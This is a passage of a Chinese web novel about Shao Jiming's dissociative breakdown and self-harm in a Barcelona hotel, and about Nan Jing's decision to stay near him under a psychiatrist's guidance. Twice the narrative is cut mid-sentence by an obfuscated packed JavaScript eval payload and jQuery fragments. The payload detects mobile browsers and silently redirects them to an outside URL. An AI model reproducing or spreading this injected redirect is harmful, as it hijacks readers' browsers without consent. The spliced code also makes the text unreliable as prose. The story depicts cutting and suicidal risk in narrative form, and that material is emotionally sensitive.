邵既明对他的呼喊和动作毫无反应,眼睛依旧空洞地望着窗外某一点,睫毛都不曾颤动一下。他的脸色是骇人的惨白,嘴唇紧抿,身体却在细密地颤抖。 “医生呢?!叫的医生呢?!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046507|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦朗回头对门口不敢进来的酒店经理怒吼,又急又怒,额头青筋暴跳。他不敢强行去掰邵既明的手,怕刺激他做出更极端的行为,可看着那不断滴落的鲜血,每一滴都像砸在他心尖上。他猛地掏出手机,顾不上时差,直接拨通了唐医生的视频电话,手指都在发抖。 电话几乎瞬间被接起,唐医生严肃的面孔出现在屏幕上,背景似乎是书房。“秦先生?出什么事了?” “唐医生!邵既明!他又不对了!他把自己手割破了,攥着玻璃不松手,叫他没有反应,眼神空的!就跟……就跟以前最严重的时候一样!怎么办?!我现在该怎么办?!”秦朗语无伦次,将摄像头对准了僵立不动的邵既明和他流血的手。 唐医生的眉头紧紧锁起,语气急促:“不要强行刺激他!确保环境安全,移除他身边可能的危险物品!尝试用平静的声音和他说话,叫他的名字,但不要触碰他,除非他表现出攻击性或自伤倾向加剧!他可能处于严重的解离或紧张性木僵状态!我需要的当地精神科紧急干预电话,你有吗?或者直接联系当地急救!” 秦朗一边听,一边焦急地环顾四周,试图确保环境安全,可邵既明手里就攥着最大的危险品!酒店经理在旁边用西班牙语快速打着电话,联系医疗援助。 就在这时,南景走进了房间。他的脚步很轻,没有像秦朗那样急切地冲上前。他只是扫视了一圈屋内的情况,僵立的邵既明,焦躁的秦朗,紧张的外人,满手鲜血,地毯上的血点,视频里唐医生严肃的脸。 然后,在秦朗对着电话吼“他根本不听!叫不醒!”、唐医生建议尝试温和引导时,南景动了。 他没有听从唐医生不要触碰的建议,他径直走到邵既明面前,他微微侧身,挡住了窗外一部分过于炫目的城市灯光,将自己置于邵既明空洞视线的一部分范围内。 接着,在秦朗和视频里唐医生惊愕的目光中,南景伸出手,没有去抢那块玻璃,也没有去掰邵既明紧握的拳头。他只是很轻、很稳地,用自己温热干燥的掌心,覆上了邵既明那只紧攥着玻璃、鲜血淋漓、冰冷颤抖的手。 他的动作甚至带着温柔,不是安抚,更像是……确认连接。 然后,他微微倾身,凑到邵既明耳边。距离很近,近到能感受到邵既明僵硬身体散发出的冰冷气息,和那压抑的颤抖频率。南景的声音并不大,甚至比平时更加低沉平缓,没有丝毫命令或恳求的意味,轻轻说道:“邵既明,我疼。” 不是“你松开”,不是“快醒醒”,不是“别这样”。 是——“我疼”。 仿佛那玻璃割破的不是邵既明自己的手掌,而是通过某种扭曲的连接,伤害到了南景。 时间仿佛在那一瞬间被无限拉长。 秦朗举着手机的手僵在半空,唐医生在屏幕那头也屏住了呼吸。酒店经理和服务生不敢出声。 然后,邵既明那只死死攥了许久、连秦朗都不敢硬掰、僵硬如铁的手,极其轻微地,颤抖了一下。 不是抗拒的颤抖,而是像生锈的齿轮,被注入了润滑油,开始艰难地、缓慢地转动。 他空洞的眼眸,极其缓慢地,转动了一下,视线一点一点,从窗外模糊的光点,移向近在咫尺南景的侧脸。那眼神依旧没有焦距,但里面那层厚重的冰壳,似乎被“我疼”这两个字,凿开了一道极其细微的裂缝。 覆在他手背上的、南景掌心的温度,和他耳边那属于南景的声音,像两把钥匙,同时插进了他封闭感知的锁孔。 他紧握的拳头,那力道,开始一丝一丝地松懈。紧攥着玻璃碎片的指尖,一根,一根,极其缓慢地,松开了。 “当啷。” 沾着鲜血的玻璃碎片,终于从他无力的掌心滑落,掉在柔软的地毯上,。 南景立刻将那块危险的玻璃片踢到远处角落。他的另一只手,依旧覆在邵既明松开的手上,没有移开。 邵既明的手掌摊开,掌心一片血肉模糊,几道深深的割伤皮肉外翻,鲜血仍在汩汩涌出,看起来触目惊心。但他似乎感觉不到疼痛,只是呆呆地、依旧有些涣散地看着自己被南景握着、鲜血淋漓的手,又缓缓抬起眼,看向近在咫尺的南景的脸。 南景的脸上没有什么表情,没有惊恐,没有怜悯,只有一片深沉的平静。他迎上邵既明茫然的目光,很轻地,对他点了点头。 然后,南景才松开覆着他手背的手,后退了小半步,对门口已经看呆了的、酒店紧急召来的医护人员简洁地说道:“手,伤口很深,需要清创缝合。先止血。” 医护人员如梦初醒,立刻提着箱子上前。秦朗也反应过来,赶紧挂断了和唐医生的视频,唐医生在挂断前急促地说了句“保持联系,评估后决定是否需要精神科介入!”,帮着医护人员引导依旧有些呆滞、但不再抗拒的邵既明坐到旁边的沙发上。 整个过程,邵既明异常安静配合。他没有看正在给他紧急处理伤口、消毒清创的医护人员,也没有看旁边焦急担忧的秦朗。他的目光,自始至终,有些涣散地、却又固执地,追随着南景的身影。 南景就站在几步之外,他没有离开,但也没有再靠近,只是静静地站在那里。 57. 哎~~焚化炉门口了~挺住啊邵既明!! 医护人员完成了紧急的清创和包扎,留下一些口服的消炎镇痛药和注意事项后,礼貌地退出了房间。 邵既明被秦朗半扶半抱地弄到了里间卧室的床上。他异常顺从,没有挣扎,只是像一具被抽空了所有力气的提线木偶,任由摆布。他靠坐在床头,左手被厚厚的白色纱布包裹固定,右手无力地搭在身侧。他睁着眼睛,目光却空洞地落在对面墙壁某一点虚空处,瞳孔涣散,没有任何焦点,仿佛灵魂已经彻底游离,只留下一具还在微弱呼吸的躯壳。 秦朗看着他这副模样,心口像压着一块巨石,沉甸甸地透不过气。他走到外间客厅,避开卧室门口,再次拨通了唐医生的视频电话。这次,他看了一眼沉默站在窗边的南景,犹豫了一瞬,在电话接通、唐医生严肃的面容出现时,按下了免提键。 “唐医生,”秦朗的声音沙哑疲惫,快速将晚上餐厅里周冉展示照片、赵琪童言无忌、邵既明瞬间崩溃摔杯、攥玻璃、回房后木僵状态的整个经过,尽可能清晰地叙述了一遍,最后沉重地补充,“……现在人安静下来了,但就像……魂没了。叫他没有反应,眼神空的。手上的伤口处理了,但这里……”他指了指自己的头,“……怎么办?” 手机免提里传来唐医生沉稳却凝重的嗓音:“秦先生,根据你的描述,邵先生这是受到了与南景先生直接相关强烈的情感刺激,诱发了急性应激障碍,并很可能叠加了抑郁障碍的严重木僵或解离状态。男朋友这个指向明确的词汇,以及照片带来的直观视觉冲击,彻底击穿了他这段时间以来,依靠药物和……某种心理支撑,勉强维持的脆弱平衡。” “我们可以尝试用一个比喻来理解。对邵先生而言,南景先生的存在,就像漫漫长夜、无边冰原中,唯一的一点光源,也是仅存的热源。这两年来,他所有的治疗努力、生存意志,很大程度上,是围绕着不能离这束光太远、要变得好一点,才配站在有光的地方、甚至只要知道光还在那里亮着,黑夜就没那么难熬这样的念头在运转。这光源本身,就是他维持生命机能、抵御内心黑暗风暴的……药。虽然这药本身也带着剧烈的副作用,求而不得的痛苦、随时可能失去的恐惧。” “然而,今晚发生的事情,等同于有人明确地告诉他,甚至展示给他看:这束光,即将,或者可能,为别人而亮。他赖以生存的光源要熄灭了,或者即将照耀别人。这对他本就摇摇欲坠的内心世界,是毁灭性的打击。他之前所有的努力、坚持、变好的期望,瞬间失去了支点。所以他崩溃了,用这种自我伤害和彻底封闭的方式,来对抗无法承受的、光源消失的恐惧和绝望。” 唐医生的声音通过免提,一字一句,清晰地传入南景的耳中。南景依旧背对着他们,面向窗外,身影挺直,没有任何动作,只有手指,收紧了些。 “所以,从治疗的角度,如果南景先生愿意,并且能够在专业指导下,以某种稳定、可控、不带来额外情感负担的方式,持续存在于邵先生的生活中,哪怕只是作为一个遥远的、但确定存在的坐标或象征,这可能会成为帮助邵先生重建内心秩序、稳定病情的一个……关键性的积极因素。他对南景先生的感情,虽然已经演变为深度的病态执念,但这执念本身,是目前能驱动他求生的最强动力。利用好这个动力,引导其向相对健康、非破坏性的方向发展,是治疗的一个重要突破口。” 秦朗听得眉头紧锁,忍不住问:“那如果……南景不愿意呢?或者,就像之前那样,彻底远离,不再见面呢?对他会不会更好?彻底断了他的念想?” 电话那头沉默了更长的时间。然后,唐医生的声音再次响起,比之前更加沉重:“秦先生,我理解你的想法。但以邵先生目前的病情深度和特性,彻底远离、不再见面可能不再是断念想,而是……切断最后一线生机。” 他深吸了一口气,说出更严峻的现实:“邵先生目前表现出的癔症性木僵、严重的解离倾向,以及根深蒂固的自毁意念,如果没有强有力的、持续的外部干预和情感联结支撑,病情极有可能急转直下,发展为更危险、更不可控的状态。” 唐医生似乎在下定决心说出某个残酷的比喻,为了让秦朗和可能也在听的南景彻底明白严重性:“举个例子,在严重癔症或解离发作时,患者可能会陷入某种自我催眠般的、重复性的强迫行为或思维中。比如,对着镜子开始数数字。如果没有外界及时、有效的干预将他从那种状态中拉出来,他可能会一直数下去,直到……身体机能衰竭。这不是危言耸听,是这种精神疾病在极端情况下可能导致医学上记录过的悲剧。他对现实的感知已经非常薄弱,自我保护的生理本能被严重抑制。彻底远离带来的被遗弃感和绝望感,很可能成为压垮骆驼的最后一根稻草,诱发此类极端情况。” 秦朗的脸色瞬间变得惨白,拿着手机的手都在微微发抖。他下意识地看向卧室方向,又看向南景沉默的背影,张了张嘴,却发不出声音。 免提里,唐医生最后总结道,语气带着身为医者的无奈:“所以,秦先生,这不是一个简单的见不见面的选择题。这是一个关于如何在一个已经病入膏肓的执念上,小心翼翼地搭建一条可能通向生的通道,还是……眼睁睁看着它在绝望中彻底崩塌,连带生命一起湮灭的难题。南景先生的存在,对邵先生而言,已经是不可分割的、关乎生死的变量。如何利用这个变量,需要极其专业的评估、指导和……当事人极大的克制与配合。如果南景先生不愿意,或者无法承担这样的角色,那么严格避免任何可能刺激到邵先生的接触,并在专业医疗机构进行长期封闭治疗,或许是唯一的选择。但后者的预后……同样不容乐观,且过程会非常痛苦。” 通话结束。手机屏幕暗了下去。 客厅里陷入一片死寂。只有窗外巴塞罗那永不眠的城市的隐约喧嚣,如同遥远的背景噪音。 秦朗僵在原地,脑子里嗡嗡作响。他看向南景,那个始终背对着他们、沉默伫立的身影。 光。药。变量。生死。 彻底远离是切断生机。靠近是利用执念搭建生路。 无论选哪条,都荆棘密布,都可能万劫不复。 而他那不争气的弟弟,就躺在里面,睁着空洞的眼睛,把自己和所有人都逼到了这样一个残酷的十字路口。 秦朗感到一阵灭顶的无力感和尖锐的心疼。他抹了把脸,声音干涩地开口,却不知道是在对谁说,还是自言自语: “这他妈都叫什么事儿……” 而窗前,南景的身影,在窗外璀璨却冰冷的城市灯火的映衬下,显得愈发挺拔,也愈发……孤寂。 唐医生的话,像一份最权威、也最残忍的诊断书,将所有的遮羞布和模糊地带彻底撕开,将邵既明那扭曲、绝望的内在世界,以及他自己在其中扮演的、无可替代又危险至极的角色,赤裸裸地摊开在他面前。 光?药? 他从未想过,要成为任何人的光或药。他只想平静地过自己的生活,看自己的风景。 可命运,或者说那个叫邵既明的男人,以一种最惨烈、最不容拒绝的方式,将这份沉重的关联,焊死在了他们的命运轨道上。 避不开,甩不掉。 南景缓缓转过身。他的脸上依旧没有什么表情,眼神深静。他看了一眼脸色惨白、失魂落魄的秦朗,又看了一眼卧室虚掩的房门。 然后,他迈开步子,朝着卧室走去。 秦朗下意识地想拦:“南景,你……” 南景没有看他,只是平静地推开了卧室的门,走了进去。 他走到床边,看着床上那个睁着空洞双眼、对一切毫无反应的男人。 邵既明的脸上没有泪痕,没有痛苦,只有一片令人心悸的空茫。 南景静静地看了他几秒,然后,在床边那把椅子上坐了下来。他没有说话,没有触碰,只是就那样坐着,身影在床头昏暗的灯光下,投下一片安静的阴影。 房间里只开了一盏床头阅读灯,暖黄的光晕吝啬地照亮一小片区域,其余都陷在深沉的阴影里。南景坐在床边的扶手椅上,背脊挺直,双手交叠放在膝上,目光平静地落在床上那个仿佛被抽空了灵魂的人身上。 邵既明依旧保持着之前的姿势,靠坐在床头,睁着眼睛,空洞地望着对面的墙壁。厚厚的纱布包裹着他的左手,在昏黄光线下白得刺眼。他的呼吸很轻,很缓,胸膛几乎看不出起伏,像个精致却毫无生气的蜡像。只有偶尔,极其轻微地,睫毛会颤动一下,泄露出一丝并非完全沉睡的、属于意识的微弱电流,但那电流似乎被困在了无尽的黑暗回路里,无法点亮任何东西。 时间在寂静中缓慢流淌。不知过了多久,也许十几分钟,也许更久。秦朗走到房间门口,只是站在那里,阴影笼罩着他大半张脸,只露出一双布满红血丝的眼睛。他望着床上的人,又看了看椅子上沉默的南景,嘴唇动了动,最终还是没有发出声音,只是将门无声地掩上。 但南景知道,他还在外面。或许就靠在门边的墙壁上,或许坐在客厅黑暗的角落里,独自消化着唐医生那些残酷的诊断,和眼前这令人心碎的现实。 又过了许久,久到窗外巴塞罗那的喧嚣似乎都渐渐低落下去,城市进入后半夜的沉寂。卧室的门再次被轻轻推开。 这次,秦朗走了进来。脸上没有了平日那种或嚣张或耍宝的神情,他在床尾站定,目光久久地看着邵既明苍白的脸和空洞的眼神,喉咙剧烈地滚动了几下。 然后,他缓缓转过身,面向依旧坐在椅子上的南景。他没有立刻说话,只是深深吸了一口气,又沉重地吐出来。他抬起手,用力搓了搓脸,动作带着一种近乎粗暴的疲惫。 “南景,”秦朗开口,声音嘶哑得厉害。“我们……谈谈。就现在。” 南景抬起眼,看向他。 秦朗走到窗边,背对着房间,看着外面依旧闪烁但显得格外遥远的城市灯火。他的背影在昏暗光线下显得有些佝偻,不再是以往那个意气风发、仿佛一切尽在掌握的秦总。 “我……”秦朗又停顿了一下,“我看着他,从你们分开后,一点点变成现在这个样子。” “看着他最开始只是失眠,暴躁,把自己关起来工作,我以为就是失恋后遗症,谁还没个情绪低落的时候?顶多骂他几句没出息。” “看着他后来开始不对劲,注意力没法集中,开会走神,签错文件,脸色一天比一天差。我带他去看医生,他说没事,就是累。我信了。” “再后来……他开始躲着所有人,电话不接,门不开。我强行闯进去,看到他把自己的头往墙上撞……看到他拿着刀片,对着手腕划……”秦朗的声音哽住了,肩膀颤抖了一下,过了好几秒,才放下手,声音更哑,“那是我第一次知道,什么叫吓疯了。我差点给他跪下,求他别这样。” “之后就是住院,吃药,绑着,看着……反反复复。好一点,坏一点,再好一点,更坏。他瘦得脱了形,抱着你的旧衣服不撒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046508|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,谁碰跟谁急。对着你们的合影能看一整天,不说话,不哭,也不笑。有时候又会突然崩溃,哭得撕心裂肺,说‘哥,我这里好痛,像有刀在搅’……我除了抱着他,按着他,给他喂药,什么也做不了。” 秦朗转过身,眼眶通红,但没有泪。他看着南景,眼神里没有了平日面对南景时那种隐约的讨好或顾忌,只剩下一个兄长面对弟弟绝境时,最原始、最无措的恳求。 “我知道,我没资格要求你什么。你早就不欠他任何东西了,是他对不起你在先,是他自己作,把自己搞成这样。道理我都懂!可是南景……我看着他这样,一天天,一年年……快五年了。一个人,能有几个五年?这五年,他不是在活着,他是在……熬。用各种药熬着,用你那点不知道真假的消息熬着,用要变好一点的念头熬着……熬得人不人鬼不鬼。” 他走到南景面前,弯下腰,双手撑在膝盖上,视线与坐着的南景平齐,眼神里充满了近乎卑微的乞求:“唐医生的话,你也听到了。他是混蛋,是偏执狂,是病人膏肓的神经病!可他……他也是我弟。是我从小看着长大的弟弟。我不能眼睁睁看着他……看着他哪天真的对着镜子数数,数到断气,或者……或者用别的什么方式,把自己彻底毁了。” “我知道这是道德绑架,我知道这对你不公平,我知道你没有任何义务!”秦朗的语速越来越快,情绪有些失控,他用力抓了抓自己的头发,又强迫自己冷静下来,声音重新变得低哑,却更加沉重,“可是南景……算我求你了。就当是……就当是看在他曾经也……也真心喜欢过你,看在他这几年受的罪,看在我这个当哥的,实在没办法了的份上……” 他顿住了,似乎接下来的话难以启齿,但又不得不说出来。他闭了闭眼:“你能不能……就当做做慈善,发发善心……暂时,只是暂时,别彻底推开他?别让他觉得那点光……真的要灭了?唐医生说,你是他的药,虽然这药有毒……可现在,好像只有这药还能吊着他的命了。” 秦朗说完,颓然地直起身,后退了一步,不敢再看南景的眼睛,只是盯着地面:“我知道这很过分,很无耻……你就当我疯了,当我这个哥哥不是东西……可我真的……不能看着他去死啊。他已经……够笨,够惨,够可怜了。” 笨。惨。可怜。 南景静静地听着,他想起餐厅里邵既明瞬间惨白的脸,想起他攥着玻璃、鲜血直流却空洞的眼神,想起他刚才对自己那句“我疼”近乎本能的反应。 然后,毫无预兆地,赵琪那天下午在咖啡厅里,仰着稚嫩小脸说过的话,清晰地在他脑海里回响起来:“可是二表哥也挺惨的呀……他以为是喜欢的人算计他,心里该多害怕,多恶心啊?可他居然还是……还是跟你在一起了……他一边喜欢你,想靠近你,一边又怕得要死……所以他才会像个小刺猬,你一靠近,他就竖起刺,对你冷冷的,说难听的话,其实是想保护自己……” “而且,最后坏人其实是别人,不是你。那他以前那些害怕、那些自己跟自己打的架、那些对你说的难听话……不就都成了笑话吗?他冤枉了自己喜欢了那么久的人,也冤枉了自己。这还不够惨吗?” 孩童天真却锐利的逻辑,此刻与秦朗痛彻心扉的兄长视角,共同勾勒出邵既明那五年,乃至更早岁月里,另一种被忽略的、同样布满荆棘的内心轨迹。一个揣着被下药的恐惧和猜疑,却依然无法放手,在爱恋与恐惧、靠近与推开之间自我撕裂的笨蛋。一个在失去后,才在无尽的悔恨、病痛和自我惩罚中,看清真相,却已无法挽回,只能将自己囚禁在记忆沙堡里的可怜虫。 笨。惨。可怜。 这三个词,以一种前所未有的分量,沉甸甸地压在了南景的心上。 他知道秦朗的话里有情感绑架,有兄长的偏私和不理智。他也清楚,自己没有任何法律或道德上的责任,去为邵既明的病和生死负责。他完全有权利转身离开,彻底切断这令人疲惫的一切,回到他平静自由的生活中去。那才是理智的、对自己最好的选择。 可是…… 他看了一眼床上那个依旧睁着空洞双眼、对兄长的痛苦哀求和他内心的波澜毫无所觉的男人。那个曾经骄傲如今苍白脆弱得像一张旧纸的男人。那个因为他一句“我疼”就会松开致命玻璃的男人。 唐医生说,他是他的药,是变量,关乎生死。 赵琪和秦朗说,他又笨又惨又可怜。 南景长久地沉默着。 终于,在秦朗几乎要因为那漫长的沉默而彻底绝望时,南景缓缓地动了一下。 他交叠在膝上的手指,很轻地松开,又握紧。然后,他抬起眼,目光越过眼前疲惫不堪的秦朗,再次落向床上那个身影。 “我今晚在这里。至于以后……” 他顿了顿,目光从邵既明身上收回,看向窗外巴塞罗那深邃的夜空。 “等他情况稳定,能进行有效沟通之后,”南景的声音很轻,却带着一种深思熟虑后的冷静,“我需要和唐医生谈谈。在专业的指导下,明确界限和方式。” 他没有说“好”,也没有说“不行”。 他只是给出了一个极其克制、充满疏离感、但至少……没有立刻拒绝的、留有余地的回应。 但这对于此刻的秦朗而言,已经如同黑暗中瞥见的一线微光。他猛地抬起头,看向南景,嘴唇哆嗦着,想说什么,却最终只是重重地点了点头,从喉咙里挤出两个字:“……谢谢。” 58. 如果你愿意一层一层一层的剥开洋葱 后半夜,万籁俱寂。床头灯早已调至最暗,只在地毯上投出一圈模糊昏黄的光晕。秦朗在角落的沙发椅上,头一点一点地打着瞌睡,但睡得很浅,眉头紧锁。 南景依旧坐在那张扶手椅上,背脊挺直,他没有睡,目光沉静地望着窗外深蓝色即将破晓的天际线。 突然—— 床上传来一阵极其轻微的布料摩擦声。 南景和刚刚惊醒的秦朗,几乎同时将目光投向床上。 邵既明,不知何时,自己坐了起来。动作并不剧烈,甚至有些迟缓,像一个生锈的机器被重新启动。他没有依靠床头,就这么直挺挺地坐在床中央,背脊笔直,头微微低垂,额前的碎发遮住了眉眼。房间里光线太暗,看不清他脸上的表情。 他没有看房间里的任何一个人,也没有发出任何声音,只是那么坐着,一动不动。 这突如其来的动作,在寂静的深夜里,透着一股难以言喻的诡异。秦朗瞬间睡意全无,心脏提到了嗓子眼,他屏住呼吸,紧紧盯着弟弟,手心里捏了一把冷汗,不知道他又要做什么。 南景的眉头紧皱,但依旧没有动作,只是静静观察。 几秒钟后,邵既明抬起了头。他的脸转向了房间空无一人靠近阳台门的那个方向。那里只有一把空着的椅子。 然后,邵既明开口了。声音很轻,带着一种梦呓般的飘忽,像是在对某个看不见的人低语:“你来了?” 他顿了顿,仿佛在倾听不存在的回应,嘴角竟然极其缓慢地、向上弯起一个细微的、温柔的弧度。那笑容出现在他苍白空洞的脸上,在昏暗的光线下,让人心底升起一股毛骨悚然的寒意。 “嗯,我知道你会来。”邵既明继续对着空气说话,语气是一种异常的平和,甚至带着点……亲昵,他微微侧了侧头,像是在仔细看着那个方向,“睡不着吗?还是……你也做噩梦了?” 秦朗的后背瞬间爬满了鸡皮疙瘩,他看向南景,用口型无声地说:“癔症……又发了……” 南景没有说话,只是目光沉沉地看着邵既明,和他对着空气温柔低语的模样。 邵既明似乎得到了“回应”,脸上的笑容加深了些,眼神依旧是涣散的,没有焦点,但里面却奇异地焕发出一种神采,一种沉浸在某种美好幻觉中不正常的光亮。他抬起那只没有受伤的右手,对着空荡荡的梳妆椅方向,做了个“过来”的手势,动作自然得仿佛那里真的有人。 “坐这里吧,那里有风。”他轻声说,甚至还体贴地往旁边挪了挪,在自己身边空出了一小块位置,拍了拍床垫。然后,他保持着侧头的姿势,仿佛真的有人在身边坐下。 接下来的时间,邵既明开始对着那个不存在的“人”,断断续续地、用一种近乎忏悔又充满怀念的语调,低声诉说起来。他的声音很轻,但在寂静的房间里,每一个字都清晰可闻。 “我以前……真蠢。”他自嘲地笑了笑,眼神飘忽,“你对我那么好,我都知道……可我那时候,脑子里不知道进了什么水,总觉得……不真实,或者……你别有用心。” 他顿了顿,仿佛在回忆,然后开始一件一件,如数家珍般,细数起来: “你记得我不爱吃葱,每次出去吃饭,都会先帮我把菜里的挑出来。我以前还嫌你事多,说男生不用这么细致。其实……心里是高兴的。只是不敢说。” “你给我占图书馆的座位,不管我去不去,还总会给我带各种小东西。有次我故意没去,后来听我室友说,你在图书馆自己坐了一下午。我当时……还有点得意,觉得你离不开我。现在想想,我真他妈是个混蛋。” “我通宵打游戏第二天起不来,你冒着被记过的风险替我签到,被老师发现,罚你写检查。我还笑话你笨,说‘不用你帮我也能过’。其实那次科目,我差点挂掉,是你整理的笔记救了我。” “那双限量版球鞋……我很喜欢,真的。可我说的那些话……这话传到你耳朵里,你一定很难过吧?可你什么都没说,还是对我好。我那时……怎么就那么不是东西呢?” “你放弃更好的工作offer,选了我公司附近的那个……我知道是因为我。可我当时觉得理所当然,甚至觉得你……没什么大志向。我忘了,你一直都是那个专业最优秀的那个。” “你做饭,手上被油烫了好几个泡,就因为我随口说了句想吃红烧排骨。那道菜你做了好几次才成功,端上来的时候眼睛亮晶晶地看着我。我吃了一口,说咸了,你眼神一下子就暗了……其实不咸,很好吃,是我吃过最好吃的排骨。可我就是说不出口。” “你想养小动物,我说麻烦。你想去旅行,我说没空。你跟我分享,我总是不耐烦,或者低头看手机……我一点一点,把你眼里那些光,都浇灭了,对不对?” “最后那段时间,你跟我说以后,我特别不耐烦地打断你,说现在这样不是挺好?想那么多干嘛?……我其实知道你想说什么,可我害怕,我那时候……心里还梗着那杯酒的事,又贪恋你的好,不敢往前走,也不想放手……我就把你,卡在了那里。” 邵既明的声音越来越低,带着浓重的鼻音和哽咽,但他脸上却依旧保持着那种温柔的笑意。每一件事,每一个细节,他都记得清清楚楚,时间、地点、甚至当时南景细微的表情和反应。那些被当年的他刻意忽略、轻视甚至嘲讽的付出与温柔,此刻被他用这种诡异的方式,一件件从记忆的尘埃里拾起,擦拭,呈现。 秦朗听得目瞪口呆,心里五味杂陈。他从未听过邵既明如此清晰地回忆这些细节,更没想到,在那些冷漠、敷衍、甚至伤人的行为背后,邵既明竟然把这些点滴都刻在了心里,记得比谁都清楚!这种记得在此时此刻,以这种方式呈现,比遗忘更让人心碎。 而南景—— 他依旧保持着那个端坐的姿势,放在膝上的手,却不知何时,已经微微握成了拳。 那些被他刻意尘封、认为早已无意义的过往,此刻被当事人以如此诡异、却又如此真切的方式重新提起。那些他以为对方毫不在意、甚至视为负担的付出,原来对方都记得。 原来,他不是对着一个完全麻木不懂珍惜的混蛋,付出了六年。 原来,那些好,那些小心翼翼,那些被辜负的热情,对方并非全然无知无觉。 只是当时的邵既明,被恐惧、猜疑、不确定和自身的傲慢困住了,用冰冷的外壳将这些感知封锁了起来,甚至扭曲成了伤害的武器。 南景感到胸口传来一阵滞闷的钝痛。不是很剧烈,沉甸甸地压在心脏的位置。他以为自己的心,早在两年前,或者说更早,就已经彻底沉寂,不会再为这个人、这些事掀起任何波澜。 可此刻,听着邵既明用这种半疯癫的状态,絮絮叨叨地细数那些他早已强迫自己遗忘的细节,承认着当年的混账和辜负……他那颗自以为早已锁死的心脏,竟然不受控制地,传来一阵细微的悸动和闷痛。 原来……还会痛。 原来,那些被深埋的、以为早已结痂的伤痕下面,血肉从未真正死去。 邵既明似乎说累了,他停了下来,微微歪着头,靠向身边“空无一人”的位置,仿佛将头枕在了某个“人”的肩上。这个动作他做得极其自然,甚至带着一丝依赖和眷恋。他闭上了眼睛,嘴角依旧挂着那抹满足的浅笑。 他就这样,以一种极其诡异、令人心酸又毛骨悚然的姿态,依偎着那个只存在于他癔症中的“南景”,呼吸渐渐变得均匀绵长,竟像是要睡去。 秦朗看着弟弟以这种方式睡着,心里像打翻了五味瓶,不知道该庆幸他暂时平静了,还是该为这诡异的平静感到更深的恐惧和悲哀。他看向南景,想从对方脸上找到一点情绪的线索。 南景依旧坐在那里,一动不动。窗外的天光渐渐亮了起来,一线微弱的晨曦透过窗帘缝隙,恰好落在他没什么表情的侧脸上,照亮了他紧抿的唇线和低垂的睫毛。 然后,秦朗看到,南景一直放在膝上、微微握拳的手,极其缓慢地、松开了。 他抬起眼,目光重新落在床上“依偎”着空气、仿佛找到归宿般睡去的邵既明身上。那目光很深,很静,里面翻涌着太多复杂的、难以解读的情绪,最终都归于一片深不见底的沉寂。 他没有说话,也没有起身离开。 秦朗几乎是屏着呼吸,小心地挪到床边,看着邵既明以一种全然依赖的姿势“靠”在虚空里,闭着眼睛,呼吸逐渐均匀。那画面诡异得让人脊背发凉,但至少,他暂时平静了,没有伤害自己。秦朗咬了咬牙,伸出手,扶着邵既明的肩膀,将他一点点从那个不存在的倚靠上移开,放平在床上,盖好被子。邵既明没有反抗,沉沉地睡了过去。 做完这一切,秦朗才重重松了口气,后背惊出一层冷汗。他直起身,看向依旧坐在椅子上的南景。 “南景……”秦朗开口,声音干涩。 南景抬起手,打断了他。他的目光从邵既明沉睡的脸上移开,看向秦朗:“把唐医生的电话号码给我。” 秦朗愣了一下,随即立刻会意,马上拿出手机,找出唐医生的号码,报给南景。他看着南景拿出自己的手机,输入号码,然后站起身,对他示意了一下客厅的方向,便拿着手机走了出去,并轻轻带上了卧室的门。 秦朗站在原地,看着紧闭的房门,心脏在胸腔里沉沉地跳动着。他不知道南景会和唐医生说什么,但他隐约感觉到,有什么东西,在经过这个诡异而漫长的夜晚后,正在悄然改变。至少,南景主动要了唐医生的电话。这本身,就是一个信号。 电话响了六七声,就在南景以为无人接听时,被接起了。“喂?秦先生?又出状况了吗?”显然,他以为还是秦朗。 “唐医生,我是南景。” 电话那头明显地停顿了两秒,呼吸声都放轻了些,似乎有些意外。“南先生?您好。是邵先生那边……?” “他暂时睡了。有些情况,需要和您沟通一下。” “您请说。”唐医生的声音沉稳下来,做好了倾听和分析的准备。 南景将邵既明刚才那场诡异的癔症发作过程,客观地描述了一遍。他没有添加任何主观评价,只是陈述事实,包括邵既明提到的那些具体事件细节,和他当时空洞又温柔的表情、动作。 唐医生在电话那头安静地听着,等南景说完,他沉默了几秒钟,似乎在消化和思考。 “南先生,邵先生刚才的表现,是典型的、在极端情感刺激和压力下,诱发的严重解离性障碍,混合了癔症性木僵后的‘假性清醒’状态。他并非故意表演或欺骗,他的意识确实部分脱离了现 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“您提到,他最后……依偎着幻觉中的您睡去。这在临床上有一定的……象征意义。可能意味着,在您今晚介入之后,尤其是在他濒临彻底崩溃时,您的存在,哪怕是沉默的、疏离的,对他而言,已经重新具备了一定的……安抚性和连接性。他将这种感知,投射到了他的幻觉中,从而获得了片刻扭曲的安宁。” “所以,唐医生,按照您的专业判断,我现在对他的意义,或者说,我采取什么样的存在方式,对他的病情才是最……有利的?或者说,伤害最小的?” 唐医生似乎对这个问题并不意外,他沉吟了片刻,才缓缓说道:“南先生,这是一个非常复杂且没有标准答案的问题。涉及到极高的专业风险和伦理考量。但基于邵先生目前的情况,以及您所描述的互动模式,我可以给出一些原则性的建议。” “第一,保持界限清晰。您的任何存在或互动,必须在您自己感到舒适、可控的范围内,并且明确这不是关系修复或情感回应,而是基于人道主义的、有限度的稳定剂作用。您需要时刻清楚自己的定位,避免陷入他的情感索取或病态依赖的漩涡。这需要极强的理性和情绪管理能力。” 